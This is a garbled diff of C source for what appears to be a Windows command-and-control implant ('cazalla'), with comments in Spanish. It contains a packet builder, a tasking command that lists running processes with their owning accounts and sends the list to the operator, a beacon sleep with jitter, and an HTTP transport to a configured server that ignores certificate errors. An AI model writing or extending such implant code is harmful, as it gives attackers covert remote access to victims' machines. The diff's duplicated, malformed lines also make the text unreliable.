||||||
|
|
||||||
|
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
||||||
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
|
||||||
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
if (!paquete->buffer) {
|
||||||
if (!paquete->buffer) {
|
return FALSE;
|
||||||
return FALSE;
|
}
|
||||||
}
|
|
||||||
|
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||||
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
paquete->length += sizeof(UINT32);
|
||||||
paquete->length += sizeof(UINT32);
|
return TRUE;
|
||||||
return TRUE;
|
}
|
||||||
}
|
|
||||||
|
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
||||||
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
|
||||||
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
if (!paquete->buffer) {
|
||||||
if (!paquete->buffer) {
|
return FALSE;
|
||||||
return FALSE;
|
}
|
||||||
}
|
|
||||||
|
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
||||||
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
paquete->length += sizeof(UINT64);
|
||||||
paquete->length += sizeof(UINT64);
|
return TRUE;
|
||||||
return TRUE;
|
}
|
||||||
}
|
|
||||||
|
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
|
||||||
|
if (tamanoCopia && tamano) {
|
||||||
if (tamanoCopia && tamano) {
|
if (!addInt32(paquete, tamano)) {
|
||||||
if (!addInt32(paquete, tamano)) {
|
return FALSE;
|
||||||
return FALSE;
|
}
|
||||||
}
|
}
|
||||||
}
|
if (tamano) {
|
||||||
if (tamano) {
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
if (!paquete->buffer) {
|
||||||
if (!paquete->buffer) {
|
return FALSE;
|
||||||
return FALSE;
|
}
|
||||||
}
|
if (tamanoCopia) {
|
||||||
if (tamanoCopia) {
|
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
|
||||||
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
|
}
|
||||||
}
|
//v2.syscalls
|
||||||
//v2.syscalls
|
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
||||||
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
paquete->length += tamano;
|
||||||
paquete->length += tamano;
|
}
|
||||||
}
|
return TRUE;
|
||||||
return TRUE;
|
}
|
||||||
}
|
|
||||||
|
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
||||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
|
||||||
|
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
||||||
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
return FALSE;
|
||||||
return FALSE;
|
}
|
||||||
}
|
return TRUE;
|
||||||
return TRUE;
|
}
|
||||||
}
|
|
||||||
|
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
||||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
|
||||||
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
|
return FALSE;
|
||||||
return FALSE;
|
}
|
||||||
}
|
return TRUE;
|
||||||
return TRUE;
|
}
|
||||||
}
|
|
||||||
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
|
||||||
|
{
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
|
||||||
|
// Determine how much space is needed for the formatted string
|
||||||
|
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
|
||||||
|
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
// Allocate a temporary buffer for the formatted string
|
||||||
|
char* tempBuffer = (char*)malloc(requiredLength);
|
||||||
|
if (tempBuffer == NULL)
|
||||||
|
{
|
||||||
|
return FALSE; // Memory allocation failed
|
||||||
|
}
|
||||||
|
|
||||||
|
va_start(args, fmt);
|
||||||
|
vsnprintf(tempBuffer, requiredLength, fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
// Use addString to add the formatted string to the package
|
||||||
|
if (!addString(package, tempBuffer, copySize))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
// Free the temporary buffer
|
||||||
|
free(tempBuffer);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,31 +1,31 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#ifndef PAQUETE_H
|
#ifndef PAQUETE_H
|
||||||
#define PAQUETE_H
|
#define PAQUETE_H
|
||||||
|
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
#include "transporte.h"
|
#include "transporte.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
|
|
||||||
#define TASK_COMPLETE 0x95
|
#define TASK_COMPLETE 0x95
|
||||||
#define TASK_FAILED 0x99
|
#define TASK_FAILED 0x99
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
|
|
||||||
PVOID buffer;
|
PVOID buffer;
|
||||||
SIZE_T length;
|
SIZE_T length;
|
||||||
|
|
||||||
}Paquete, * PPaquete;
|
}Paquete, * PPaquete;
|
||||||
|
|
||||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
|
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
|
||||||
VOID liberarPaquete(PPaquete paquete);
|
VOID liberarPaquete(PPaquete paquete);
|
||||||
PAnalizador mandarPaquete(PPaquete paquete);
|
PAnalizador mandarPaquete(PPaquete paquete);
|
||||||
|
|
||||||
BOOL addByte(PPaquete paquete, BYTE byte);
|
BOOL addByte(PPaquete paquete, BYTE byte);
|
||||||
BOOL addInt32(PPaquete paquete, UINT32 valor);
|
BOOL addInt32(PPaquete paquete, UINT32 valor);
|
||||||
BOOL addInt64(PPaquete paquete, UINT64 valor);
|
BOOL addInt64(PPaquete paquete, UINT64 valor);
|
||||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
|
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
|
||||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
||||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -0,0 +1,111 @@
|
|||||||
|
#undef UNICODE
|
||||||
|
#include "procesos.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "identity.h"
|
||||||
|
#include "spawn.h"
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
|
||||||
|
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
|
||||||
|
HANDLE hToken;
|
||||||
|
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID listarProcesos(PAnalizador argumentos) {
|
||||||
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
char nombreCuenta[2048] = { 0 };
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
|
||||||
|
|
||||||
|
char* arch;
|
||||||
|
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
|
||||||
|
|
||||||
|
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (toolhelp == INVALID_HANDLE_VALUE) {
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
|
||||||
|
if (Process32First(toolhelp, &pe)) {
|
||||||
|
do {
|
||||||
|
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
|
||||||
|
DWORD sid = -1;
|
||||||
|
if (hProcess) {
|
||||||
|
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
|
||||||
|
nombreCuenta[0] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
|
||||||
|
sid = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL isWow64 = IsWow64ProcessEx(hProcess);
|
||||||
|
|
||||||
|
PackageAddFormatPrintf(salida,
|
||||||
|
FALSE,
|
||||||
|
"%s\t%d\t%d\t%s\t%s\t%d\n",
|
||||||
|
pe.szExeFile,
|
||||||
|
pe.th32ParentProcessID,
|
||||||
|
pe.th32ProcessID,
|
||||||
|
isWow64 ? "x86" : arch,
|
||||||
|
nombreCuenta,
|
||||||
|
sid);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
PackageAddFormatPrintf(salida,
|
||||||
|
FALSE,
|
||||||
|
"%s\t%d\t%d\n",
|
||||||
|
pe.szExeFile,
|
||||||
|
pe.th32ParentProcessID,
|
||||||
|
pe.th32ProcessID);
|
||||||
|
}
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
|
||||||
|
} while (Process32Next(toolhelp, &pe));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
|
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(errorPaquete, tareaUuid, FALSE);
|
||||||
|
addInt32(errorPaquete, error);
|
||||||
|
mandarPaquete(errorPaquete);
|
||||||
|
liberarPaquete(errorPaquete);
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||||
|
if (!respuestaAnalizador) {
|
||||||
|
_err("[-] Error al mandar paquete\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
liberarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
cleanup:
|
||||||
|
if (toolhelp) {
|
||||||
|
CloseHandle(toolhelp);
|
||||||
|
}
|
||||||
|
liberarPaquete(salida);
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef PROCESOS_H
|
||||||
|
#define PROCESOS_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
VOID listarProcesos(PAnalizador argumentos);
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1,45 +1,45 @@
|
|||||||
#include "sleep.h"
|
#include "sleep.h"
|
||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
|
|
||||||
BOOL sleep(PAnalizador argumentos) {
|
BOOL sleep(PAnalizador argumentos) {
|
||||||
|
|
||||||
SIZE_T tamanoUuid = 36;
|
SIZE_T tamanoUuid = 36;
|
||||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
UINT32 nbArg = getInt32(argumentos);
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
UINT32 tiempoSleep = getInt32(argumentos);
|
UINT32 tiempoSleep = getInt32(argumentos);
|
||||||
UINT32 maxVarianza = getInt32(argumentos);
|
UINT32 maxVarianza = getInt32(argumentos);
|
||||||
|
|
||||||
if (maxVarianza < 1) {
|
if (maxVarianza < 1) {
|
||||||
maxVarianza = 1;
|
maxVarianza = 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
const int minVarianza = 1;
|
const int minVarianza = 1;
|
||||||
const int rangoVarianza = maxVarianza / 2;
|
const int rangoVarianza = maxVarianza / 2;
|
||||||
|
|
||||||
int aleatorio = aleatorioInt32(0, rangoVarianza);
|
int Rand = aleatorioInt32(0, rangoVarianza);
|
||||||
|
|
||||||
tiempoSleep += aleatorio;
|
tiempoSleep += Rand;
|
||||||
|
|
||||||
|
|
||||||
if (tiempoSleep < minVarianza) {
|
if (tiempoSleep < minVarianza) {
|
||||||
tiempoSleep = minVarianza;
|
tiempoSleep = minVarianza;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if (cazallaConfig == NULL) {
|
if (cazallaConfig == NULL) {
|
||||||
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
||||||
tiempoSleep = tiempoSleep * 1000;
|
tiempoSleep = tiempoSleep * 1000;
|
||||||
cazallaConfig->tiempoSleep = tiempoSleep;
|
cazallaConfig->tiempoSleep = tiempoSleep;
|
||||||
|
|
||||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuestaTarea, tareaUuid, FALSE);
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
addInt32(respuestaTarea, tiempoSleep);
|
addInt32(respuestaTarea, tiempoSleep);
|
||||||
mandarPaquete(respuestaTarea);
|
mandarPaquete(respuestaTarea);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -1,13 +1,13 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#ifndef SLEEP_H
|
#ifndef SLEEP_H
|
||||||
#define SLEEP_H
|
#define SLEEP_H
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
BOOL sleep(PAnalizador argumentos);
|
BOOL sleep(PAnalizador argumentos);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
#include "spawn.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
#include <versionhelpers.h>
|
||||||
|
|
||||||
|
#pragma warning(disable: 4996)
|
||||||
|
|
||||||
|
#define ProcessWow64Information 26
|
||||||
|
|
||||||
|
int osMajorVersion;
|
||||||
|
|
||||||
|
BOOL SelfIsWindowsVistaOrLater() {
|
||||||
|
return IsWindowsVistaOrGreater();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
|
||||||
|
|
||||||
|
|
||||||
|
BOOL IsWow64ProcessEx(HANDLE hProcess) {
|
||||||
|
HMODULE hModule = GetModuleHandleA("kernel32");
|
||||||
|
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
|
||||||
|
if (_IsWow64Process == NULL)
|
||||||
|
{
|
||||||
|
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL bStatus = FALSE;
|
||||||
|
BOOL Wow64Process = FALSE;
|
||||||
|
|
||||||
|
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
|
||||||
|
bStatus = _IsWow64Process(hProcess, &Wow64Process);
|
||||||
|
if (!bStatus)
|
||||||
|
{
|
||||||
|
_err("_IsWow64Process failed with status code : %d", GetLastError());
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef NATIVE_H
|
||||||
|
#define NATIVE_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||||
|
|
||||||
|
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
ULONG ProcessInformationClass,
|
||||||
|
PVOID ProcessInformation,
|
||||||
|
ULONG ProcessInformationLength,
|
||||||
|
PULONG ReturnLength
|
||||||
|
);
|
||||||
|
|
||||||
|
BOOL IsWow64ProcessEx(HANDLE hProcess);
|
||||||
|
|
||||||
|
extern int osMajorVersion;
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1,123 +1,123 @@
|
|||||||
#include "transporte.h"
|
#include "transporte.h"
|
||||||
|
|
||||||
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
||||||
|
|
||||||
DWORD codigoDeEstado = 0;
|
DWORD codigoDeEstado = 0;
|
||||||
DWORD tamanoEstado = sizeof(DWORD);
|
DWORD tamanoEstado = sizeof(DWORD);
|
||||||
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
||||||
return 0;
|
return 0;
|
||||||
return codigoDeEstado;
|
return codigoDeEstado;
|
||||||
}
|
}
|
||||||
|
|
||||||
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||||
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
||||||
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
||||||
PVOID respBuffer = NULL;
|
PVOID respBuffer = NULL;
|
||||||
DWORD respSize = 0;
|
DWORD respSize = 0;
|
||||||
UCHAR buffer[1024] = { 0 };
|
UCHAR buffer[1024] = { 0 };
|
||||||
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||||
|
|
||||||
// Configuración de Proxy
|
// Configuración de Proxy
|
||||||
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
||||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
||||||
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
|
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
|
||||||
|
|
||||||
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||||
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
||||||
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
||||||
|
|
||||||
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
|
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
|
||||||
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||||
httpProxy = cazallaConfig->urlProxy;
|
httpProxy = cazallaConfig->urlProxy;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cazallaConfig->SSL) {
|
if (cazallaConfig->SSL) {
|
||||||
httpFlags |= WINHTTP_FLAG_SECURE;
|
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Crear sesión HTTP
|
// Crear sesión HTTP
|
||||||
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||||
if (!hSesion) return NULL;
|
if (!hSesion) return NULL;
|
||||||
|
|
||||||
// Conectar al servidor
|
// Conectar al servidor
|
||||||
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
||||||
if (!hConexion) return NULL;
|
if (!hConexion) return NULL;
|
||||||
|
|
||||||
// Crear petición HTTP/HTTPS
|
// Crear petición HTTP/HTTPS
|
||||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
||||||
if (!hPeticion) return NULL;
|
if (!hPeticion) return NULL;
|
||||||
|
|
||||||
// Configurar opciones de seguridad si es HTTPS
|
// Configurar opciones de seguridad si es HTTPS
|
||||||
if (cazallaConfig->SSL) {
|
if (cazallaConfig->SSL) {
|
||||||
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||||
|
|
||||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
|
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Configurar proxy si está habilitado
|
// Configurar proxy si está habilitado
|
||||||
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
||||||
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
||||||
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||||
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
||||||
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
||||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
|
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Enviar la petición
|
// Enviar la petición
|
||||||
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||||
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
|
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Recibir respuesta
|
// Recibir respuesta
|
||||||
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
||||||
_err("Error al recibir respuesta HTTP\n");
|
_err("Error al recibir respuesta HTTP\n");
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||||
if (codigoDeEstado != 200) {
|
if (codigoDeEstado != 200) {
|
||||||
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
|
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Leer respuesta
|
// Leer respuesta
|
||||||
do {
|
do {
|
||||||
dwTamano = 1024;
|
dwTamano = 1024;
|
||||||
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
||||||
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
||||||
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
respSize += dwDescargado;
|
respSize += dwDescargado;
|
||||||
if (!respBuffer) {
|
if (!respBuffer) {
|
||||||
respBuffer = LocalAlloc(LPTR, respSize);
|
respBuffer = LocalAlloc(LPTR, respSize);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
}
|
}
|
||||||
|
|
||||||
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
||||||
memset(buffer, 0, 1024);
|
memset(buffer, 0, 1024);
|
||||||
|
|
||||||
} while (dwTamano > 0);
|
} while (dwTamano > 0);
|
||||||
|
|
||||||
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
return nuevoAnalizador((PBYTE)respBuffer, respSize);
|
return nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||||
}
|
}
|
||||||
